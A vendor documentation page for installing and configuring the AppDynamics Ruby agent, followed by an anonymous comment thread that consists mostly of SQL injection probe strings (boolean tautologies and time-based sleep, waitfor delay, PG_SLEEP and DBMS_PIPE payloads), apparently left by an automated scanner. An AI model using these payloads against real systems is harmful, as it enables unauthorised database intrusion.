Ruby Agent Documentation

Page tree

Following sections provide the configuration and requirement details to install the Ruby agent.

Since the Agent is packaged as a Ruby Gem, installation is as simple as adding it to your Gemfile:

Gemfile
gem 'appdynamics'

Basic Configuration

You must configure the application using a config file or using Env variables.

To configure using a config file: 

config/appdynamics.yml
app_name: My App
tier_name: Rails
node_name: Production
log_max_file_size: <Maximum bytes for Ruby log file (default 5 * 1024 * 1024)">
log_max_num_files: <Maximum number of Ruby agent log files (default 10)>
controller:
  host: mycontroller.com
  port: 443# Optional
  account: myaccount
  access_key: accesskey
  cert_path: <absolute path>
  use_ssl: true# Optional
  http_proxy_host: <http_proxy_host>
  http_proxy_port: <http_proxy_port>
  http_proxy_username: <http_proxy_username>
  http_proxy_password_file: <absolute path to password file>
  log_dir: <log path>
  log_level: <trace|debug|info|warn|error|fatal>
  log_max_file_size: <Maximum bytes for sdk controller log file (default 5 * 1024 * 1024)">
  log_max_num_files: <Maximum number of sdk controller log files (default 10)>

Alternatively, to configure using ENV variables:

 def self.env_to_key
      @env_to_key ||= super.merge(
        'APP_NAME' => :app_name,
        'TIER_NAME' => :tier_name,
        'NODE_NAME' => :node_name,
        'LOG_MAX_NUM_FILES' => :log_max_num_files,
        'LOG_MAX_FILE_SIZE' => :log_max_file_size,
        'CONTROLLER_HOST' => :'controller.host',
        'CONTROLLER_ACCOUNT' => :'controller.account',
        'CONTROLLER_ACCESS_KEY' => :'controller.access_key',
        'CONTROLLER_CERT_PATH' => :'controller.cert_path',
        'CONTROLLER_PORT' => :'controller.port',
        'CONTROLLER_USE_SSL' => :'controller.use_ssl',
        'CONTROLLER_HTTP_PROXY_HOST' => :'controller.http_proxy_host',
        'CONTROLLER_HTTP_PROXY_PORT' => :'controller.http_proxy_port',
        'CONTROLLER_HTTP_PROXY_USERNAME' => :'controller.http_proxy_username',
        'CONTROLLER_HTTP_PROXY_PASSWORD_FILE' => :'controller.http_proxy_password_file',
        'CONTROLLER_LOG_DIR' => :'controller.log_dir',
        'CONTROLLER_LOG_LEVEL' => :'controller.log_level',
        'CONTROLLER_LOG_MAX_NUM_FILES' => :'controller.log_max_num_files',
        'CONTROLLER_LOG_MAX_FILE_SIZE' => :'controller.log_max_file_size',
        'LAZY_START' => :lazy_start
      )
    end

Rails Setup

If you are using Rails, no further configuration is necessary.

Sinatra Setup

For Sinatra, you must add the following to your application:

require 'appdynamics/sinatra'
set(:appdynamics_config, file: "config/appdynamics.yml")

Miscellaneous Requirements

Enable in Rails Development Mode

We do not recommend instrumenting your development environment. However, for the sake of testing, this might be useful. To do so, update the config/application.rb to include:

config.appdynamics.environments << :development

View Initial Documentation

Download the code and run 'bundle exec yard' in it. You can then open 'doc/index.html' in the browser.

Alternate C/C++ SDK

The Ruby agent uses the AppDynamics C/C++ SDK, which is bundled with the gem. An alternate version (API compatible with 4.4/4.5) can be used by passing the parameters --with-appdynamics-dir to the installation. With bundler, you can set this as a config option:

bundle config build.app_dynamics --with-appdynamics-dir={INSTALL_PATH}
  • No labels

29 Comments

  1. Anonymous

    appdynamics
    ljlkjlk

    1. Anonymous

      1

    2. Anonymous

      1

    3. Anonymous

      -1 OR 2+469-469-1=0+0+0+1 --

    4. Anonymous

      -1 OR 2+273-273-1=0+0+0+1

    5. Anonymous

      -1' OR 2+412-412-1=0+0+0+1 --

    6. Anonymous

      -1' OR 2+553-553-1=0+0+0+1 or 'iEzCpJ6B'='

    7. Anonymous

      -1" OR 2+229-229-1=0+0+0+1 --

    8. Anonymous

      if(now()=sysdate(),sleep(15),0)

    9. Anonymous

      0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    10. Anonymous

      0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    11. Anonymous

      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    12. Anonymous

      -1; waitfor delay '0:0:15' --

    13. Anonymous

      -1); waitfor delay '0:0:15' --

    14. Anonymous

      1 waitfor delay '0:0:15' --

    15. Anonymous

      FUSJsqWv'; waitfor delay '0:0:15' --

    16. Anonymous

      -5 OR 295=(SELECT 295 FROM PG_SLEEP(15))--

    17. Anonymous

      -5) OR 500=(SELECT 500 FROM PG_SLEEP(15))--

    18. Anonymous

      -1)) OR 605=(SELECT 605 FROM PG_SLEEP(15))--

    19. Anonymous

      uxDkEBzi' OR 375=(SELECT 375 FROM PG_SLEEP(15))--

    20. Anonymous

      E25emv0z') OR 135=(SELECT 135 FROM PG_SLEEP(15))--

    21. Anonymous

      H3IPQUm7')) OR 484=(SELECT 484 FROM PG_SLEEP(15))--

    22. Anonymous

      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    23. Anonymous

      1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    24. Anonymous

      1'"

    25. Anonymous

      1����%2527%2522

    26. Anonymous

      @@WP415

    27. Anonymous

      555

  2. Anonymous

    555
Write a comment...


Have a question about the topic on this page? Ask the AppDynamics Community.

Privacy Statement | Change Settings